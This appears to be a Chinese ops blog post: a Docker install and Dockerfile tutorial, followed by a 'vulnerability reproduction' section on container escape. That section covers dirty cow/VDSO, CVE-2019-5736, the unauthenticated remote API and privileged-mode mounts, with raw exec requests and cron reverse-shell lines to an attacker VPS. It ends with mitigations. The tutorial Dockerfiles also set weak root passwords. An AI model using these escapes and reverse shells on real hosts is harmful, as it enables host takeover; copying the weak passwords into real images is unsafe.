当前位置: 首页 > news >正文

运维知识点-Docker从小白到入土

在这里插入图片描述

Docker从小白到入土

  • 安装问题-有podman
    • Centos8使用yum install docker -y时,默认安装的是podman-docker软件
  • 安装docker
  • 启动docker
  • yum list installed | grep docker
  • yum -y remove xxxx
  • 安装
    • Docker安装配置
        • 下载安装docker
        • 启动docker,并设置开机启动
        • 下载所需镜像
    • centos镜像进行配置Django
        • SSH镜像制作
        • 新建Dockerfile、run.sh两个文件,并附于run.sh执行权限
        • run.sh写入内容
        • Dockerfile写入内容
    • 创建镜像
    • Django镜像制作
        • 新建django_centos文件夹并进入
        • run.sh写入内容
        • 创建镜像
    • Nginx镜像制作
        • 新建django_nginx文件夹并进入
    • 停止正在运行的 镜像进程
    • 搜索 镜像
    • compose 安装
      • docker常用命令
  • 漏洞复现-docker容器逃逸与研究
  • 前言
    • 三种方法
      • 利用dirty cow来进行docker逃逸
        • 利用前提
        • 前置知识
        • 利用dirty cow与VDSO来实现docker逃逸的过程
          • 判断是否为docker环境
          • 查看系统进程的cgroup信息
        • 下载脚本
        • 利用脚本
        • 利用结果
      • cve-2019-5736
        • 利用原理与条件
        • 漏洞触发过程
        • 下载利用脚本并修改
        • 编译脚本
        • 将编译好的main文件上传到docker中
        • 执行脚本并等待此docker再次被exec
      • docker配置不当
        • docket remote api未授权访问导致逃逸
          • 确定docker remote api是否可访问
        • 漏洞利用
          • 创建一个包,得到返回的exec_id的参数,数据包内容如下:
          • 得到exec_id参数后构造第二个exec_start数据包,内容如下:
          • 在docker容器内安装docker作为client
          • 查看宿主机的docker image信息
          • 启动一个容器并且将宿主机的根目录抓到容器的某个目录
          • 写一个计划任务反弹shell(或者写.ssh公钥都OK)
          • 在vps上使用nc命令等待反弹过来的shell
    • 利用特权模式逃逸
      • 漏洞原理
      • 漏洞利用
        • 查看磁盘文件
        • 将/dev/vda1也就是磁盘挂在到本地的任意文件下
        • 写入计划任务
        • 在vps上等待shell反连接
  • 防止docker逃逸的方法


1、启动所有容器docker start $(docker ps -a | awk '{ print $1}' | tail -n +2)
2、关闭所有容器docker stop $(docker ps -a | awk '{ print $1}' | tail -n +2)
3、删除所有容器docker rm $(docker ps -a | awk '{ print $1}' | tail -n +2)
4、删除所有镜像(慎用)docker rmi $(docker images | awk '{print $3}' |tail -n +2)删除docker中的容器可以使用如下命令:
要先stop
docker rm 容器id

安装问题-有podman

Centos8使用yum install docker -y时,默认安装的是podman-docker软件

1,卸载podman软件(可以使用rpm -qa|grep docker)
yum remove docker

sudo yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-selinux \docker-engine-selinux \docker-engine安装必要的软件包:

2,下载docker-ce源
curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo
3,安装docker-ce
yum install docker-ce -y


安装docker

 yum install docker -y

在这里插入图片描述

启动docker

systemctl start docker  #启动docker
systemctl enable docker #开机启动docker
systemctl status docker #查看docker状态

在这里插入图片描述

 # docker run hello-world

在这里插入图片描述
在这里插入图片描述

 # docker version

在这里插入图片描述在这里插入图片描述

 查看执行过的docker进程:docker ps --all

在这里插入图片描述

  • 环境
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述

传送门
在这里插入图片描述

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
安装最新版docker按这步操作就行,需要指定版本 在这里插入图片描述

 yum install docker-ce docker-ce-cli containerd.ioyum install -y docker-ce docker-ce-cli containerd.io

安装指定版本的,首先列出可用的版本有哪些,然后选择并安装

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

 yum makecache  #生成仓库缓存

在这里插入图片描述

DaoCloud 加速器 是广受欢迎的 Docker 工具,解决了国内用户访问 Docker Hub 缓慢的问题。DaoCloud 加速器结合国内的 CDN 服务与协议层优化,成倍的提升了下载速度。
在这里插入图片描述在这里插入图片描述

在这里插入图片描述




2021/2/24

在这里插入图片描述

 1. 下载docker-ce的repocurl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo2. 安装依赖
yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm3. 安装docker-ce
yum install docker-ce4. 启动docker
systemctl start docker

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

 不通

在这里插入图片描述

备份旧的配置文件mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
下载新的 CentOS-Base.repo 到 /etc/yum.repos.d/ 这里是改为阿里云的
wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-8.repo
或者
curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-8.repo生成缓存
yum makecacheyum 包更新到最新
yum update

在这里插入图片描述
在这里插入图片描述

安装需要的软件包

sudo yum install -y yum-utils device-mapper-persistent-data lvm2

yum-util 提供yum-config-manager功能,另外两个是devicemapper驱动依赖的
在这里插入图片描述
添加 Docker 的 yum 源
sudo yum-config-manager
–add-repo
https://download.docker.com/linux/centos/docker-ce.repo

yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

在这里插入图片描述

如果出现错误提醒
(尝试添加 ‘–skip-broken’ 来跳过无法安装的软件包 或 ‘–nobest’ 来不只使用最佳选择的软件包)
使用下面命令

yum install -y https://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/edge/Packages/containerd.io-1.2.6-3.3.e

在这里插入图片描述

命令安装最新的 containerd.io、然后就可以顺利的安装Docker4、 安装docker,出现输入的界面都按 yyum install -y docker-ce

在这里插入图片描述

查看docker版本,验证是否验证成功docker -v

在这里插入图片描述

Docker 要求 CentOS 系统的内核版本高于 3.10,可以使用uname -r命令来查看自己的系统内核版本

卸载重装

yum remove docker  docker-common docker-selinux docker-engine 

在这里插入图片描述
安装工具包yum-utils

 yum install -y yum-utils

选择国内的源,速度会快一些,此处选择阿里云的

 yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

在这里插入图片描述
查看 docker 版本

yum list docker-ce --showduplicates | sort -rLoading mirror speeds from cached hostfile
Loaded plugins: fastestmirror
Installed Packages
docker-ce.x86_64            3:20.10.6-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.6-3.el7                    @docker-ce-stable
docker-ce.x86_64            3:20.10.5-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.4-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.3-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.2-3.el7                    docker-ce-stable 
docker-ce.x86_64            3:20.10.1-3.el7                    docker-ce-stable
...可以从上面中任选一个版本指定安装,将以下<VERSION_STRING>替换成对应版本即可

yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io

也可以通过不指定版本直接安装最新版

安装

yum install docker-ce docker-ce-cli containerd.io


docker version

在这里插入图片描述

运行官方提供的验证镜像helloworld

在这里插入图片描述

环境介绍
CentOS7.4 基础服务器版本
Docker
Django 此为docker镜像
Nginx 此为docker镜像
MySQL 此为docker镜像

Docker安装配置

下载安装docker
 yum -y install docker vim

在这里插入图片描述

启动docker,并设置开机启动
systemctl start docker
systemctl enable docker

在这里插入图片描述

下载所需镜像
docker pull centos
docker pull nginx
docker pull mysql # 如果下载别的版本MySQL加写成,如:mysql:5.6

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

centos镜像进行配置Django

为方便以后使用这里分为SSH和Django两步来做

SSH镜像制作

新建ssh_image文件夹并进入

mkdir -p create_docker_image/ssh_image
cd create_docker_image/ssh_image

在这里插入图片描述

新建Dockerfile、run.sh两个文件,并附于run.sh执行权限
touch Dockerfile run.sh
chmod +x run.sh

在这里插入图片描述

run.sh写入内容
 vim run.sh
 #! /bin/bash
/usr/sbin/sshd -D

在这里插入图片描述在这里插入图片描述

Dockerfile写入内容
 vim Dockerfile
 # 设置继承镜像
FROM centos:latest# 提供一些作者的信息
MAINTAINER wallie@910# 开始运行命令
RUN yum install -y openssh-server
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_ecdsa_key
RUN ssh-keygen -t rsa -f /etc/ssh/ssh_host_ed25519_key
RUN sed -i "s/#UsePrivilegeSeparation.*/UsePrivilegeSeparation no/g" /etc/ssh/sshd_config
RUN sed -i "s/UsePAM.*/UsePAM no/g" /etc/ssh/sshd_config 
RUN echo "123456" | passwd --stdin root
ADD run.sh /run.sh
EXPOSE 22CMD ["/run.sh"]
  • 温馨提示 注意网络安全

      by:aming  2021/09/28
    

创建镜像

 docker build -t sshd:centos . 
 aming 温馨提示   注意后面 有个 什么小东东

在这里插入图片描述
在这里插入图片描述

	  aming提醒  sshd 配置 要正确   这一步 会报错

在这里插入图片描述

Django镜像制作

“mysite”的项目建议自己提前搭建好,直接拷贝过来用,但针对有路径需要做一些调整
新建django_centos文件夹并进入
cd /aming/.../
mkdir -p  django_centos
cd  django_centos

在这里插入图片描述

新建Dockerfile、run.sh两个文件,并附于run.sh执行权限

 touch Dockerfile run.shchmod +x run.sh

在这里插入图片描述

run.sh写入内容
#! /bin/bash
# 同步数据库
python manage.py makemigrate --noinput
python manage.py migrate --noinput
# uwsgi启动django
uwsgi quwan_app/uwsgi.ini
/usr/sbin/sshd -D
tail -f /dev/null
 Dockerfile写入内容
 # 指定操作的镜像
FROM sshd:centos# 指定操作的镜像
FROM sshd:centos# 创建文件夹
RUN mkdir -p /data/wwwroot  # 项目存放路径 
RUN mkdir -p /data/static
RUN mkdir -p /data/media# 拷贝文件, 
COPY quwan_app /data/wwwroot/quwan_app 
# “mysite” 为你自己的django项目可以自行更改
COPY run.sh /data/wwwroot/quwan_app/web_run.sh	#这句指令相当与:cd /data/wwwroot/mysite
WORKDIR /data/wwwroot/quwan_app# 安装软件
RUN yum install epel-release -y
RUN yum -y install gcc python36 net-tools
RUN yum -y install python36-devel mysql-devel
RUN ln /usr/bin/python3.6 /usr/bin/python -f
RUN cp /usr/bin/yum /usr/bin/yum.bak
RUN cp /usr/libexec/urlgrabber-ext-down /usr/libexec/urlgrabber-ext-down.bak
RUN cp /usr/bin/yum-config-manager /usr/bin/yum-config-manager.bak
RUN sed 's/python/python2/g' /usr/bin/yum.bak > /usr/bin/yum
RUN sed 's/python/python2/g' /usr/libexec/urlgrabber-ext-down.bak > /usr/libexec/urlgrabber-ext-down
RUN sed 's/python/python2/g' /usr/bin/yum-config-manager.bak > /usr/bin/yum-config-manager
RUN pip3 install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install django -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install django_crontab -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install pymysql -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install mysqlclient -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install uwsgi -i https://mirrors.aliyun.com/pypi/simple/ 
RUN pip3 install cryptography -i https://mirrors.aliyun.com/pypi/simple/ EXPOSE 8080
RUN sh web_run.sh# linux运行会报错修复
#RUN cp /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py.bak
#RUN cp /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py.bak
#RUN sed 's/query.decode/query.encode/g' /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py.bak > /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/operations.py
#RUN sed '35,36d' /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py.bak  > /usr/local/lib64/python3.6/site-packages/django/db/backends/mysql/base.py

在这里插入图片描述
准备好项目 目录

创建镜像
 docker build -t web:django . 

在这里插入图片描述在这里插入图片描述

Nginx镜像制作

新建django_nginx文件夹并进入
 cd
mkdir -p create_docker_image/django_nginx
cd create_docker_image/django_nginx
 Dockerfile写入内容
 # 指定操作的镜像
FROM docker.io/nginx# 作者
MAINTAINER zhoufan# 系统部署
RUN mkdir -p /data/static

 创建镜像

 docker build -t web:nginx .

在这里插入图片描述

MySQL镜像制作
 touch Dockerfile setup.sh
chmod +x setup.sh

Dockerfile写入内容
在这里插入图片描述

	setup.sh写入内容
 #!/bin/bashset -e# 启动mysql
service mysql start# 用来检测问题
echo '导入开始'
# 输入数据库project.sql
mysql < /root/project.sql
echo `service mysql status`# 用来检测问题
echo '开始修改密码'
# 导入数据库privileges.sql
mysql < /root/privileges.sql
echo `service mysql status`
tail -f /dev/null

	privileges.sql数据库
 确认数据库文件开关是否有创建库文件和使用库文件的语句
就 是 project.sql ,前两句 
 CREATE DATABASE /*!32312 IF NOT EXISTS*/ `project` default character set utf8 collate utf8_general_ci;
USE `project`;DROP TABLE IF EXISTS `abc`;CREATE TABLE `abc` (`id` int(11) DEFAULT NULL,`name` varchar(25) DEFAULT NULL,`deptid` int(11) DEFAULT NULL,`salary` float DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;LOCK TABLES `abc` WRITE;UNLOCK TABLES;
privileges.sql数据库

这个库文件是设置本地和远程root帐号和密码的,“test”为密码

 use mysql;
/*修改root密码*/
update user set password=password('test') where user='root' and host='localhost'; 
/*添加root远程登陆*/
grant all privileges on *.* to root@'%' identified by 'test';
flush privileges; 
三个主程序的镜像已经做完了,可以进行容器运行容器的启动配置 把启动命令分别写到不同的sh文件中,方便修改
 cd
mkdir django_run
cd django_run
数据库容器启动配置启动文件
start_db.sh
#!/bin/bash
docker run --restart=always -d --name db  --privileged=true web:mysql 
--restart=always    这是保持容器自动启动
--name db       容器的别名改为db 
--privileged=true   获取mysql容器权限
-v          指定映射文件夹,这里指定的是库文件到本地
web:mysql      镜像名 

运行启动文件

sh start_db.sh
docker ps

指定容器为空,请查看最后的命令操作查看错误和删除容器

Django启动
因 为 d j a n g o 与 数 据 库 d b 有 链 接 , 所 以 数 据 库 运 行 成 功 后 , d j a n g o 才 能 运 行 , 不 然 会 报 错

vim start_web.sh

 #!/bin/bashdocker run --restart=always -d --name web --link db -p 8000:8000 -v /data/nginx/static/:/data/static web:django
--restart=always    这是保持容器自动启动
--name web     容器的别名改为web
--link db      指定db的关联,django中连接数据的IP地址可以直接写成“db”
-p 8000:8000     映射端口到主机,可不用加
-v 挂载
web:django     镜像名 

运行启动文件

sh start_web.sh
docker ps

Nginx启动
因 为 N g i n x 与 d j a n g o 有 链 接 , 所 以 d j a n g o 运 行 成 功 后 , N g i n x 才 能 运 行 , 不 然 会 报 错

vim start_nginx.sh
#!/bin/bash
docker run --restart=always -d --name nginx --privileged=true -p 80:80 -v /data/nginx/conf.d/web.conf:/etc/nginx/nginx.conf -v /data/nginx/logs:/var/log/nginx -v /data/nginx/statc:/data/static --link web web:nginx
--restart=always    这是保持容器自动启动
--name web     容器的别名改为nginx
--link db      指定django的关联,nginx中连接django的IP地址可以直接写成“web”
-p 80:80     映射端口到主机
web:django     镜像名 

运行启动文件

 sh start_nginx.sh
docker ps

docker ps 命令查看容器的运行信息

运行容器,并且可以通过 exec 命令进入 容器。
$ docker run -itd --name centos-test centos:centos7 在这里插入图片描述

docker exec -it  xxxname  /bin/bash docker images -a   查看所有镜像docker rmi  移除镜像docker rmi  REPOSITORY:TAG 
docker system prune --volumes   

停止正在运行的 镜像进程

docker ps
docker kill f03cd21e7f17

 # 杀死所有正在运行的容器.
alias dockerkill='docker kill $(docker ps -a -q)'# 删除所有已经停止的容器.
alias dockercleanc='docker rm $(docker ps -a -q)'# 删除所有未打标签的镜像.
alias dockercleani='docker rmi $(docker images -q -f dangling=true)'# 删除所有已经停止的容器和未打标签的镜像.
alias dockerclean='dockercleanc || true && dockercleani'

使用image创建container并进入交互模式, login shell是/bin/bash

 docker run -i -t centos:7 /bin/bash
 接着终端就是容器中的centos的了,默认是root用户登录,接下来的操作都在容器中了
二、容器中安装passwd,openssl,openssh-server
 yum install passwd openssl openssh-server -y
 安装完成后
启动sshd:# /usr/sbin/sshd -D
 这时报以下错误:
[root@ b3426410ff43 /]# /usr/sbin/sshd
Could not load host key: /etc/ssh/ssh_host_rsa_key
Could not load host key: /etc/ssh/ssh_host_ecdsa_key
Could not load host key: /etc/ssh/ssh_host_ed25519_key执行以下命令解决:[root@b3426410ff43 /]# ssh-keygen -q -t rsa -b 2048 -f /etc/ssh/ssh_host_rsa_key -N ''  
[root@b3426410ff43 /]# ssh-keygen -q -t ecdsa -f /etc/ssh/ssh_host_ecdsa_key -N ''
[root@b3426410ff43 /]# ssh-keygen -t dsa -f /etc/ssh/ssh_host_ed25519_key -N '' 然后,修改 /etc/ssh/sshd_config 配置信息:
UsePAM yes 改为 UsePAM no
UsePrivilegeSeparation sandbox 改为 UsePrivilegeSeparation no
可以用vi改,也可以用下面命令[root@b3426410ff43 /]# sed -i "s/#UsePrivilegeSeparation.*/UsePrivilegeSeparation no/g" /etc/ssh/sshd_config
[root@b3426410ff43 /]# sed -i "s/UsePAM.*/UsePAM no/g" /etc/ssh/sshd_config 
 修改完后,重新启动sshd[root@b3426410ff43 /]# /usr/sbin/sshd -D然后修改root密码passwd root或者直接一句修改echo “123456″ | passwd --stdin root接着需要把修改后的镜像保存了,首先输入exit退出容器,再使用下面命令查看刚运行过的,
docker commit将修改后镜像保存到本地,参数是ID,名字#docker ps -all
CONTAINER ID IMAGE    COMMAND    CREATED       STATUS          PORTS   NAMES
b3426410ff43 centos:7  "/bin/bash" 4 minutes ago    Exited (0) 4 seconds ago      centos7ssh
#docker commit b5926410fe60 myimage/centos7-ssh 
下次可以输入刚保存的名字启动修改过安装了ssh服务的镜像了。 

搜索 镜像

docker search mysql

compose 安装

sudo curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.1/docker-compose-uname -s-uname -m -o /usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

docker-compose -v

开源的应用容器引擎,基于 Go 语言并遵从 Apache2.0 协议开源

Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。

容器是完全使用沙箱机制,相互之间不会有任何接口(类似 iPhone 的 app),更重要的是容器性能开销极低。

镜像(Image):

Docker 镜像(Image)就相当于是一个 root 文件系统。

比如官方镜像 ubuntu:16.04 就包含了完整的一套 Ubuntu16.04 最小系统的 root 文件系统。

容器(Container):

镜像(Image)和容器(Container)的关系,就像是面向对象程序设计中的类和实例一样,

镜像是静态的定义,容器是镜像运行时的实体。

容器可以被创建、启动、停止、删除、暂停等。

仓库(Repository):

仓库可看成一个代码控制中心,用来保存镜像。

相关地址

官方hub仓库:hub.docker.com

菜鸟教程:https://www.runoob.com/docker/docker-tutorial.html

官方安装:https://docs.docker.com/engine/install/

win10系统 下载地址如下:

https://hub.docker.com/editions/community/docker-ce-desktop-windows/

如果您的系统不符合运行Docker for Windows的要求,则可以安装Docker Toolbox,

Dockbox Toolbox使用Oracle Virtual Box而不是Hyper-V。

Docker Toolbox和Docker Machine用户必读:

​ 适用于Windows的Docker需要运行Microsoft Hyper-V。

如果需要,Docker for Windows安装程序将为您启用Hyper-V,并重新启动计算机。

启用Hyper-V后,VirtualBox将不再工作,但任何VirtualBox VM映像将保留。

使用docker-machine(包括通常在Toolbox安装期间创建的默认虚拟机)创建的VirtualBox VM将不再启动。

这些虚拟机不能与Docker for Windows并行使用。

但是,您仍然可以使用docker-machine来管理远程VM。

必须启用虚拟化。通常,默认情况下启用虚拟化。(请注意,这与启用Hyper-V不同)

目前版本的Docker for Windows在64位Windows 10 Pro,企业和教育(1607周年纪念版,Build 14393或更高版本)上运行。

将来我们将支持更多版本的Windows 10。

使用Docker for Windows创建的容器和图像在安装的机器上的所有用户帐户之间共享。

这是因为所有Windows帐户都将使用相同的虚拟机来构建和运行容器。

将来,Docker for Windows将更好地隔离用户内容。

嵌套的虚拟化场景,例如在VMWare或Parallels实例上运行Docker for Windows,可能会起作用,但不能保证(即不正式支持)。

Docker for Windows安装包括:

安装提供Docker Engine,Docker CLI客户端,Docker Compose,Docker Machine和Kitematic。

安装Docker for Windows

在上面的查找例子中,我们可以分析出一些B+树的性质:

双击Docker for Windows Installer.exe以运行安装程序。

.按照安装向导接受许可证,授权安装程序,然后继续安装。

您将被要求在安装过程中使用系统密码授权Docker.app。

需要特权访问来安装网络组件,指向Docker应用程序的链接,以及管理Hyper-V虚拟机。

单击安装完成对话框上的Finish以启动Docker。

Docker无法自动启动。要点击开始,搜索Docker,在搜索结果中选择应用程序,然后单击它(或按返回)。

当状态栏中的鲸鱼保持稳定时,Docker可以正常运行,并可从任何终端窗口访问。

docker常用命令


■ 基础命令# 查看docker基础信息docker info# 拉取镜像docker pull :# 移除容器docker rm# 移除镜像docker rmi# 启动、停止、重启容器docker stop  docker start  docker restartdocker run -itd --name -P/-p: /bin/bash# 查看docker容器docker ps# 打包镜像docker tag // docker push /# 登录dockerdocker login# 进入容器内部docker exec    -it     xxx   /bin/bash# 从仓库搜索镜像docker search■ 批量操作# 杀死所有正在运行的容器docker kill $(docker ps -a -q)# 删除所有的容器docker rm $(docker ps -a -q)# 删除所有未打 dangling 标签的镜像docker rmi $(docker images -q -f dangling=true)# 删除所有镜像docker rmi $(docker images -q) docker rmi $(docker images -q)# 强制删除无法删除的镜像docker rmi -f  docker rmi -f $(docker images -q)■ DockerfileDockerfile是一个包含用于组合镜像的命令的文本文档。可以使用在命令行中调用任何命令。Docker通过读取文件中的指令自动生成镜像。脚本结构:基础镜像信息维护者信息镜像操作指令容器启动时执行指令’#’ 为 Dockerfile 中的注释"&&" 符号连接命令,这样执行后,只会创建 1 层镜像Docker以从上到下的顺序运行Dockerfile的指令。为了指定基本镜像,第一条指令必须是FROM。一个声明以#字符开头则被视为注释。可以在Docker文件中使用RUN,CMD,FROM,EXPOSE,ENV等指令。■ docker-composeCompose 是用于定义和运行多容器 Docker 应用程序的工具。通过 Compose,您可以使用 YML 文件来配置应用程序需要的所有服务。然后,使用一个命令就可以从 YML 文件配置中创建并启动所有服务。Compose 使用的三个步骤:使用 Dockerfile 定义应用程序的环境。使用 docker-compose.yml 定义构成应用程序的服务,这样它们可以在隔离环境中一起运行。最后,执行 docker-compose up 命令来启动并运行整个应用程序。 

docker-compose down

漏洞复现-docker容器逃逸与研究

前言

获取某个系统shell后发现其是docker
这时候我们就需要进行docker逃逸来拿到其真正宿主的权限。

三种方法

利用dirty cow来进行docker逃逸

利用前提

利用成功的前提是,宿主机的内核有dirty cow漏洞

前置知识

Linux中VDSO(virtual dvnamic shared object)小型共享库
将内核中的.so文件映射到到所有用户程序的内存地址空间,
.so是基于Linux下的动态链接,其功能和作用类似与windows下.dll文件, 可以理解成将内核中的函数映射到内存中,方便大家访问。

利用dirty cow与VDSO来实现docker逃逸的过程
dirty cow漏洞可以让我们获取只读内存的写的权限,
我们首先利用dirty cow漏洞写入一段shellcode到VDSO映射的一段闲置内存中,
然后改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段shellcode。
这段shellcode初始化的时候会检查是否是被root调用,
如果是则继续执行,如果不是,则接着执行clock_gettime函数,
接下来它会检测/tmp/.X文件的存在,如果存在,则这时已经是root权限了,
然后它会打开一个反向的TCP链接,为Shellcode中填写的ip返回一个Shell。(获取宿主机shell) 

在这里插入图片描述

判断是否为docker环境

docker环境中根目录下存在此文件

ls -alh /.dockerenv   

在这里插入图片描述

查看系统进程的cgroup信息

在Linux内核中,容器(container)这个名词有许多不同的意义,为避免混乱,被重命名为cgroup
对进程进程分组,比如Sessiongroup、process group等,
需要追踪一组进程的内存和IO使用情况,出现了cgroup,用来统一对进程进行分组,并在分组的基础上对进程进程监控和资源分配。

对于容器技术而言,它实现资源层面上的限制和隔离,
依赖于 Linux 内核所提供的 cgroup 和 namespace 技术

 cat /proc/1/cgroup

在这里插入图片描述

下载脚本

如果没有 git与curl
那么就用shell文件管理传上去 用unzip和tar 解压
在这里插入图片描述

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

如果docker 无make


cat /etc/centos-release
CentOS Linux release 7.9.2009 (Core)nasm -f bin -o payload payload.s
make: nasm: Command not found
make: *** [payload] Error 127yum install nasm
[root@VM-24-12-centos docker]# make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread会出现 bash: ./1: No such file or directory  链接库依赖问题
改为 
/dirtycow-vdso >make
nasm -f bin -o payload payload.s
make: nasm: Command not found
make: *** [Makefile:16: payload] Error 127/dirtycow-vdso >apk add nasm
(1/1) Installing nasm (2.13.03-r0)
Executing busybox-1.29.3-r10.trigger
OK: 154 MiB in 64 packages

在这里插入图片描述

利用脚本
chmod 777 0xdeadbeef
./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口

在这里插入图片描述

利用结果

直接反弹宿主机的shell到127.0.0.1如图所示
在这里插入图片描述
在根目录内创建一个任意文件。
查看是否漏洞被利用成功。

cve-2019-5736

利用原理与条件

通过在docker容器内重写和运行主机系统的runc二进制文件达到逃逸的目的。
利用条件为:

runc版本<=1.0-rc6
Docker Version < 18.09.2

漏洞触发过程

修改利用脚本中的反弹shell命令,
使用go build来编译脚本,
将脚本上传到docker中,
等待宿主机执行exec进入当前docker容器
宿主机就会向我们的vps反弹root权限的shell。

下载利用脚本并修改
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

下图中的选中部分修改 后面的命令为反弹shell命令即可。
在这里插入图片描述

编译脚本
go build main.go

在这里插入图片描述

将编译好的main文件上传到docker中

可以先上传到github然后在docker到shell中使用git clone命令即可

执行脚本并等待此docker再次被exec
docker exec -it test /bin/bash

当宿主机上执行exec命令来进入我们运行了脚本的容器的时候,
宿主机就会反弹root权限的shell给我们的vps的监听端口,至此利用结束。

docker配置不当

docket remote api未授权访问导致逃逸

docker swarm是管理docker集群的工具。
主从管理、默认通过2375端口通信。
绑定了一个Docker Remote API的服务,
可以通过HTTP、Python、调用API来操作Docker。

确定docker remote api是否可访问

http://ip:2375/version

在这里插入图片描述

漏洞利用

访问http://ip:2375/containers/json看是否出现以下画面:
在这里插入图片描述

创建一个包,得到返回的exec_id的参数,数据包内容如下:
 POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188{
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”,/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}

在这里插入图片描述
注意其中的cmd字段,这个就是要执行的命令。

得到exec_id参数后构造第二个exec_start数据包,内容如下:
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json{
“Detach”: false,
“Tty”: false
}

在这里插入图片描述
成功获取到docker主机的命令执行权限,但是还无法逃逸到宿主机。

在docker容器内安装docker作为client
    apt-get install docker.ioyum -y install docker 
查看宿主机的docker image信息
   docker -H tcp://宿主机ip:2375 images
启动一个容器并且将宿主机的根目录抓到容器的某个目录
docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash

上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下

写一个计划任务反弹shell(或者写.ssh公钥都OK)
echo* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1>> /test/var/spool/cron/root
在vps上使用nc命令等待反弹过来的shell
nc -lvp 8888 

利用特权模式逃逸

漏洞原理

使用特权模式启动容器,可以获取大量设备文件访问权限。
因为当管理员执行docker run —privileged时,
Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

漏洞利用

查看磁盘文件
 fdisk -l

在这里插入图片描述

将/dev/vda1也就是磁盘挂在到本地的任意文件下
mkdir /nuoyan
mount /dev/vda1 /nuoyan

在这里插入图片描述
此时这个nuoyan文件夹就相当于对方主机的根目录,可以进行写文件操作。

写入计划任务
 echo* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1>> /nuoyan/var/spool/cron/root
在vps上等待shell反连接
nc -lvp 8888

防止docker逃逸的方法

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本 >1.0-rc6
3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
6、不建议以root权限运行Docker服务
7、不建议以privileged(特权模式)启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

相关文章:

运维知识点-Docker从小白到入土

Docker从小白到入土 安装问题-有podmanCentos8使用yum install docker -y时&#xff0c;默认安装的是podman-docker软件 安装docker启动dockeryum list installed | grep dockeryum -y remove xxxx安装Docker安装配置下载安装docker启动docker&#xff0c;并设置开机启动下载所…...

基于DevEco Studio的OpenHarmony应用原子化服务(元服务)入门教程

一、创建项目 二、创建卡片 三、应用服务代码 Index.ets Entry Component struct Index {State TITLE: string OpenHarmony;State CONTEXT: string 创新召见未来&#xff01;;build() {Row() {Column() {Text(this.TITLE).fontSize(30).fontColor(0xFEFEFE).fontWeight(…...

MySQL和Java程序建立连接的底层原理(JDBC),一个SQL语句是如何执行的呢?

